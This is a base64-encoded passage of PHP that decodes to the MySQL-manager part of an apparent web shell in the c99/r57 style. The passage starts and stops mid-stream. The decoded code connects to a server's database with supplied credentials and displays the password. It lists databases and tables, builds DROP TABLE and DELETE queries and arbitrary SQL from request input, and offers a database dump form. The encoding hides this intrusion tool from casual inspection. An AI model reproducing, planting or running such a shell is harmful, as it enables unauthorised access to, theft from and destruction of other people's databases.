xfc2VydmVyKSB7CiRzcWxfc29jayA9IEBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsKJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoJHNxbF9zb2NrKTsKQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7CmlmIChAJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgewogICRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOwogICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCRzcWxfc29jayk7Cn0KICB9CiAgZWxzZSB7ICRzcWxfc29jayA9IEZBTFNFOyB9CiAgaWYgKCEkc3FsX3NvY2spIHsKaWYgKCFAJHNxbF9zZXJ2ZXIpIHsgZWNobyAiPGJsaW5rPjxiPjxmb250IHN0eWxlPSBjb2xvcjojZmYwMDAwPk5vIENvbm5lY3Rpb24gISAhICE8L2ZvbnQ+PC9iPjwvYmxpbms+IjsgfQplbHNlIHsgZGlzcF9lcnJvcigiRVJST1I6ICIuJGVycik7IH0KICB9CiAgZWxzZSB7CiNTUUwgUXVpY2tsYXVuY2gKJHNxbHF1aWNrbGF1bmNoPSBhcnJheSgpOwokc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiIpOwokc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJRdWVyeSIsJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7CiRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlciBzdGF0dXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJzdGF0dXMiKTsKJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXNlcnZlcnZhcnMiKTsKJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3g9cHJvY2Vzc2VzIik7CiRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuIng9c3FsIik7CmVjaG8gIk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIFNlcnZlcjogIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPGJyPiI7CmlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkgewogIGZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7CmVjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiOwogIH0KICB9CiAgfQplY2hvICI8L2Rpdj4iOwplY2hvICI8Y2VudGVyPjx0YWJsZSBjbGFzcz0ndGFiJz48dHI+IjsKICBpZiAoISRzcWxfc29jaykgewogIGVjaG8gICc8dGQ+Cjxmb3JtIG5hbWU9ImZfc3FsIiBhY3Rpb249IicuJHN1cmwuJ3g9c3FsIiBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIHN0eWxlPSJwYWRkaW5nOjFweDsiPgo8dHI+PHRoIGNvbHNwYW49IjIiPjxiPk15U1FMIE1hbmFnZXI8L2I+PC90aD48L3RyPgo8dHI+PHRkPkhvc3Q8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjI0OXB4O2JhY2tncm91bmQ6YmxhY2siIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4KPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoyNDlweDtiYWNrZ3JvdW5kOmJsYWNrIj48L3RkPjwvdHI+Cjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoyNDlweDtiYWNrZ3JvdW5kOmJsYWNrOyI+PC90ZD48L3RyPgo8dHI+PHRkPkRhdGFiYXNlPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjI0OXB4O2JhY2tncm91bmQ6YmxhY2siPjwvdGQ+PC90cj4KPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiAgY2xhc3M9ImlucHV0eiIgdmFsdWU9IjMzMDYiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgc2l6ZT0iNiI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIHN0eWxlPWNvbG9yOiRjb2xvciB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPgo8L3RhYmxlPgo8L2Zvcm0+JzsKICB9CiAgZWxzZSB7CiAgZWNobyAgJzx0ZCB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzMzMzMzMzsiPgo8Y2VudGVyPgo8YSBocmVmPSInLiRzcWxfc3VybC4nIj48YiBzdHlsZT0iY29sb3I6IzAwZmYwMDsiPkhPTUU8L2I+PC9hPgo8aHIgc2l6ZT0iMSIgbm9zaGFkZT4nOwogICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwogIGlmICghJHJlc3VsdCkgeyBlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTsgfQogIGVsc2UgewogIGVjaG8gICc8Zm9ybSBhY3Rpb249IicuJHN1cmwuJ3g9c3FsIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8c2VsZWN0IG5hbWU9InNxbF9kYiIgb25jaGFuZ2U9InRoaXMuZm9ybS5zdWJtaXQoKSIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nOwokYyA9IDA7CiRkYnMgPSAiIjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHsKICAkZGJzIC49ICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOwogIGlmIChAJHNxbF9kYiA9PSAkcm93WzBdKSB7ICRkYnMgLj0gIiBzZWxlY3RlZCI7IH0KICAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj5cbiI7CiAgJGMrKzsKfQplY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPlxuIjsKZWNobyAkZGJzOwogIH0KZWNobyAnPC9zZWxlY3Q+CjxociBzaXplPSIxIiBub3NoYWRlPgo8L2Zvcm0+CjwvY2VudGVyPic7CmlmIChpc3NldCgkc3FsX2RiKSkgewogICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsKICBpZiAoISRyZXN1bHQpIHsgCiRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwokbnVtID0gbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CmZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CiRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRyZXN1bHQsICRpICk7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndGFiJz48dGQgc3R5bGU9J2JhY2tncm91bmQ6IzNGM0YzRjtib3JkZXI6MXB4IHNvbGlkICMyMDIwMjA7Ym9yZGVyLXRvcDogMXB4IHNvbGlkICM1MDUwNTA7Ym9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNTA1MDUwOyc+PGI+KyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLiRkYm5hbWUuIlwiPiRkYm5hbWU8L2E+PC9iPjwvdGQ+PC90YWJsZT4iOyB9IH0KICBlbHNlIHsKZWNobyAiXHQ8dGFibGUgY2xhc3M9J3R1Yic+PHRoPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT48L3RoPjwvdGFibGU+PGJyPlxuIjsKJGMgPSAwOwp3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CiAgJGNvdW50ID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOwogICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOwogIGVjaG8gIlx0PGI+KyA8YSBzdHlsZT0nY29sb3I6IzAwZmYwMDsnIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJnNxbF90Ymw9Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIjwvYT48L2I+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj5cbiI7CiAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsKICAkYysrOwp9CmlmICghJGMpIHsgZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlIjsgfQogIH0KfQplY2hvICc8L3RkPic7CmVjaG8gJzx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyI+JzsKJGRpcGxheSA9IFRSVUU7CmlmIChAJHNxbF9kYikgewogIGlmICghaXNfbnVtZXJpYygkYykpIHsgJGMgPSAwOyB9CiAgaWYgKCRjID09IDApIHsgJGMgPSAibm8iOyB9CiAgZWNobyAiXHQ8Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gZGF0YWJhc2U6ICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iIjsKICBpZiAoY291bnQoQCRkYnF1aWNrbGF1bmNoKSA+IDApIHsKZm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkgewogIGVjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiOwp9CiAgfQogIGVjaG8gIjwvYj48L2NlbnRlcj5cbiI7CiAgJHhzID0gYXJyYXkoIiIsImR1bXAiKTsKICBpZiAoJHNxbF94ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30KICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX3ggPSAicXVlcnkiO30KICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZHVtcCIpIHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlzdGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX3ggPSAiZHVtcCI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBBSVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9CiAgZWxzZWlmICgkc3FsX3ggPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0IikgewppZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpIHsKICAka2V5cyA9ICIiOwogICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsKICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQogIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMCxzdHJsZW4oJGtleXMpLTIpO30KICAkdmFsdWVzID0gIiI7CiAgJGkgPSAwOwogIGZvcmVhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcWxfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJHZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKSI7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQogIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQogICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7CiAgJHNxbF94ID0gInF1ZXJ5IjsKICAkc3FsX3RibF94ID0gImJyb3dzZSI7Cn0KZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikgewogICRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOwogICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOwogICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7CiAgJHNxbF94ID0gInF1ZXJ5IjsKICAkc3FsX3RibF94ID0gImJyb3dzZSI7Cn0KICB9CiAgaWYgKCRzcWxfeCA9PSAicXVlcnkiKSB7CmVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9CmlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQppZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkgeyBlY2hvICI8dGFibGUgY2xhc3M9J3RhYic+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF94XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+IjsgfQogIH0KICBpZiAoaW5fYXJyYXkoJHNxbF94LCR4cykpIHsKZWNobyAnPHRhYmxlIGNsYXNzPSJ0YWIiPgo8dHI+Cjx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzO3BhZGRpbmc6M3B4OyI+CjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPgo8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+CkZpZWxkczogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9maWVsZCIgc2l6ZT0iMyI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPgo8L2Zvcm0+CjwvdGQ+Cjx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzO3BhZGRpbmc6M3B4OyI+PGI+RHVtcCBEQjo8L2I+Cjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZHVtcCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iZHVtcF8nLmdldGVudigiU0VSVkVSX05BTUUiKS4nXycuJHNxbF9kYi4nXycuZGF0ZSgiZC1tLVktSC1pLXMiKS4nLnNxbCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkR1bXAiPgo8L2Zvcm0+CjwvdGQ+CjwvdHI+CjwvdGFibGU+JzsKaWYgKCFlbXB0eSgkc3FsX3gpKSB7IGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsgfQppZiAoJHNxbF94ID09ICJuZXd0YmwiKSB7CiAgZWNobyAiPGI+IjsKICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkgewplY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iOwogIH0KICBlbHNlIHsgZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7IH0KfQplbHNlaWYgKCRzcWxfeCA9PSAiZHVtcCIpIHsKICBpZiAoZW1wdHkoJHN1Ym1pdCkpIHsKJGRpcGxheSA9IEZBTFNFOwplY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfeFwiIHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2l